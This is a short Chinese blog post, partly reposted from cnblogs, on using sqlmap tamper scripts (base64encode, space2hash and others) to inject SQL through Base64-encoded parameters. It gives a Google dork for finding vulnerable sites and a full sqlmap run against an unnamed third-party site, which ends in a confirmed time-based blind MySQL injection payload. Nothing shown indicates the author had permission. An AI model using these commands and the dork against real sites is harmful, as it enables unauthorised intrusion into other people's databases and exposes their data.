SQL注入 对方使用base64进行编码防止注入的破解方法 太简单。。。
上次遇到一个Base64的注入点,手工注入太麻烦,于是在网上看了一下sqlmap Base64注入的方法,如下:
sqlmap -u http://xxxx.com/index.php?tel=LTEnIG9yICc4OCc9Jzg5 --tamper base64encode.py –dbs
sqlmap拥有很多功能强力的插件,插件的使用方法: -- tamper “插件名称”
其中常用到的bypass脚本绕过SQLMAP主要两个脚本:
space2hash.py ,对于MYSQL数据库 4.0, 5.0注入
space2morehash.py ,对于MYSQL数据库 >= 5.1.13 和 MySQL 5.1.41 注入
首先确定目标数据库版本,然后选择相应的脚本。
-v 3 --batch --tamper "space2hash.py"
还有其他一些插件:
encodes编码 ——charencode.py
base64编码 —— base64encode.py
替换空格和关键字 —— halfversionedmorekeywords.py
转载于:https://www.cnblogs.com/im404/p/3799626.html
一个实战例子,在谷歌里搜索:
inurl: id=mq==
然后可以看到很多具备类似注入点的站点,然后使用如下命令:
sqlmap -u "https://xxx.com/detail.php?id=MQ==" --tamper base64encode.py ___ __H__ ___ ___[,]_____ ___ ___ {1.5.4#stable} |_ -| . [)] | .'| . | |___|_ [,]_|_|_|__,| _| |_|V... |_| http://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 11:22:24 /2021-06-20/ [11:22:24] [INFO] loading tamper module 'base64encode' [11:22:25] [INFO] testing connection to the target URL you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ac148cd288a...ec608684d0'). Do you want to use those [Y/n] [11:22:26] [INFO] checking if the target is protected by some kind of WAF/IPS [11:22:26] [INFO] testing if the target URL content is stable [11:22:37] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s) [11:23:08] [CRITICAL] WAF/IPS identified as 'Imunify360 (CloudLinux)' [11:23:08] [WARNING] target URL content is not stable (i.e. content differs). sqlmap will base the page comparison on a sequence matcher. If no dynamic nor injectable parameters are detected, or in case of junk results, refer to user's manual paragraph 'Page comparison' how do you want to proceed? [(C)ontinue/(s)tring/(r)egex/(q)uit] C [11:24:00] [INFO] searching for dynamic content [11:24:01] [INFO] testing if GET parameter 'id' is dynamic [11:24:01] [WARNING] reflective value(s) found and filtering out [11:24:01] [INFO] GET parameter 'id' appears to be dynamic [11:24:04] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable [11:24:05] [INFO] testing for SQL injection on GET parameter 'id' [11:24:05] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [11:24:12] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [11:24:14] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [11:24:17] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause' [11:24:20] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)' [11:24:23] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)' [11:24:26] [INFO] testing 'Generic inline queries' [11:24:27] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)' [11:24:29] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)' [11:24:32] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)' [11:24:34] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [11:25:08] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] n [11:25:40] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [11:25:41] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [11:25:59] [INFO] checking if the injection point on GET parameter 'id' is a false positive GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 83 HTTP(s) requests: --- Parameter: id (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: id=MQ==' AND (SELECT 9951 FROM (SELECT(SLEEP(5)))lziR) AND 'FGOw'='FGOw ---
是不是很GG。。。